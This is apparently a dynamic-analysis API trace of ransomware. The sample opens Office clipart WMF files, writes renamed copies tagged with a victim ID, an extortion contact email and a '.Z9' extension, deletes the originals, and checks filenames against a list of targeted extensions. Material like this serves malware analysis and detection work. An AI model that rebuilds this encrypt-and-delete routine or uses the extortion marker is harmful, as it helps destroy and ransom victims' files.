	[0164.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.132] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.132] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468
	[0164.133] GetLastError () returned 0x0
	[0164.133] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0164.171] WriteFile (in: hFile=0x468, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0164.172] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.172] WriteFile (in: hFile=0x468, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.172] SetEndOfFile (hFile=0x468) returned 1
	[0164.177] CloseHandle (hObject=0x468) returned 1
	[0164.177] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.177] SetEndOfFile (hFile=0x450) returned 1
	[0164.182] CloseHandle (hObject=0x450) returned 1
	[0164.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.185] lstrlenW (lpString=".doc") returned 4
	[0164.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString=".docx") returned 5
	[0164.185] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0164.185] lstrlenW (lpString=".pdf") returned 4
	[0164.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString=".xls") returned 4
	[0164.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.185] lstrlenW (lpString=".xlsx") returned 5
	[0164.185] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0164.185] lstrlenW (lpString=".ppt") returned 4
	[0164.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.185] lstrlenW (lpString=".zip") returned 4
	[0164.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.185] lstrlenW (lpString=".rar") returned 4
	[0164.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString=".bz2") returned 4
	[0164.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString=".7z") returned 3
	[0164.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.185] lstrlenW (lpString=".dbf") returned 4
	[0164.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".1cd") returned 4
	[0164.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".jpg") returned 4
	[0164.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".doc") returned 4
	[0164.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString=".docx") returned 5
	[0164.186] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0164.186] lstrlenW (lpString=".pdf") returned 4
	[0164.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString=".xls") returned 4
	[0164.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.186] lstrlenW (lpString=".xlsx") returned 5
	[0164.186] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0164.186] lstrlenW (lpString=".ppt") returned 4
	[0164.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".zip") returned 4
	[0164.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.186] lstrlenW (lpString=".rar") returned 4
	[0164.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString=".bz2") returned 4
	[0164.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString=".7z") returned 3
	[0164.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".dbf") returned 4
	[0164.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.186] lstrlenW (lpString=".1cd") returned 4
	[0164.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0164.187] lstrlenW (lpString=".jpg") returned 4
	[0164.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.187] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.187] lstrlenW (lpString="J0099163.WMF") returned 12
	[0164.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.187] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=22356) returned 1
	[0164.187] CloseHandle (hObject=0x43c) returned 1
	[0164.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0164.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.188] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.188] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.189] GetLastError () returned 0x0
	[0164.189] ReadFile (in: hFile=0x43c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x5754, lpOverlapped=0x0) returned 1
	[0164.195] WriteFile (in: hFile=0x450, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x5760, lpOverlapped=0x0) returned 1
	[0164.196] ReadFile (in: hFile=0x43c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.196] WriteFile (in: hFile=0x450, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.197] SetEndOfFile (hFile=0x450) returned 1
	[0164.197] CloseHandle (hObject=0x450) returned 1
	[0164.197] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.197] SetEndOfFile (hFile=0x43c) returned 1
	[0164.200] CloseHandle (hObject=0x43c) returned 1
	[0164.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.201] lstrlenW (lpString=".doc") returned 4
	[0164.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.201] lstrlenW (lpString=".docx") returned 5
	[0164.201] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.201] lstrlenW (lpString=".pdf") returned 4
	[0164.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.201] lstrlenW (lpString=".xls") returned 4
	[0164.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.201] lstrlenW (lpString=".xlsx") returned 5
	[0164.201] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.201] lstrlenW (lpString=".ppt") returned 4
	[0164.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.201] lstrlenW (lpString=".zip") returned 4
	[0164.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.201] lstrlenW (lpString=".rar") returned 4
	[0164.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.201] lstrlenW (lpString=".bz2") returned 4
	[0164.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.201] lstrlenW (lpString=".7z") returned 3
	[0164.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.201] lstrlenW (lpString=".dbf") returned 4
	[0164.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".1cd") returned 4
	[0164.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".jpg") returned 4
	[0164.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".doc") returned 4
	[0164.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString=".docx") returned 5
	[0164.202] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.202] lstrlenW (lpString=".pdf") returned 4
	[0164.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString=".xls") returned 4
	[0164.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.202] lstrlenW (lpString=".xlsx") returned 5
	[0164.202] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.202] lstrlenW (lpString=".ppt") returned 4
	[0164.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".zip") returned 4
	[0164.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.202] lstrlenW (lpString=".rar") returned 4
	[0164.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString=".bz2") returned 4
	[0164.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString=".7z") returned 3
	[0164.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".dbf") returned 4
	[0164.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.202] lstrlenW (lpString=".1cd") returned 4
	[0164.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0164.203] lstrlenW (lpString=".jpg") returned 4
	[0164.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.203] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.203] lstrlenW (lpString="J0099164.WMF") returned 12
	[0164.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.203] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=21946) returned 1
	[0164.203] CloseHandle (hObject=0x43c) returned 1
	[0164.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0164.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.204] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.204] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.206] GetLastError () returned 0x0
	[0164.206] ReadFile (in: hFile=0x43c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0164.224] WriteFile (in: hFile=0x450, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0164.225] ReadFile (in: hFile=0x43c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.225] WriteFile (in: hFile=0x450, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.225] SetEndOfFile (hFile=0x450) returned 1
	[0164.225] CloseHandle (hObject=0x450) returned 1
	[0164.226] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.226] SetEndOfFile (hFile=0x43c) returned 1
	[0164.229] CloseHandle (hObject=0x43c) returned 1
	[0164.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0164.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.513] lstrlenW (lpString=".doc") returned 4
	[0164.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.513] lstrlenW (lpString=".docx") returned 5
	[0164.513] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.513] lstrlenW (lpString=".pdf") returned 4
	[0164.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.513] lstrlenW (lpString=".xls") returned 4
	[0164.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.513] lstrlenW (lpString=".xlsx") returned 5
	[0164.515] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.515] lstrlenW (lpString=".ppt") returned 4
	[0164.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.515] lstrlenW (lpString=".zip") returned 4
	[0164.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.515] lstrlenW (lpString=".rar") returned 4
	[0164.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.515] lstrlenW (lpString=".bz2") returned 4
	[0164.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.525] lstrlenW (lpString=".7z") returned 3
	[0164.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.525] lstrlenW (lpString=".dbf") returned 4
	[0164.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.525] lstrlenW (lpString=".1cd") returned 4
	[0164.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.525] lstrlenW (lpString=".jpg") returned 4
	[0164.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.525] lstrlenW (lpString=".doc") returned 4
	[0164.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.525] lstrlenW (lpString=".docx") returned 5
	[0164.525] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.525] lstrlenW (lpString=".pdf") returned 4
	[0164.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString=".xls") returned 4
	[0164.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.526] lstrlenW (lpString=".xlsx") returned 5
	[0164.526] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.526] lstrlenW (lpString=".ppt") returned 4
	[0164.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.526] lstrlenW (lpString=".zip") returned 4
	[0164.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.526] lstrlenW (lpString=".rar") returned 4
	[0164.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString=".bz2") returned 4
	[0164.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString=".7z") returned 3
	[0164.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.526] lstrlenW (lpString=".dbf") returned 4
	[0164.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.526] lstrlenW (lpString=".1cd") returned 4
	[0164.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0164.526] lstrlenW (lpString=".jpg") returned 4
	[0164.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.526] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.526] lstrlenW (lpString="J0099171.WMF") returned 12
	[0164.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.646] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8754) returned 1
	[0164.646] CloseHandle (hObject=0x448) returned 1
	[0164.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
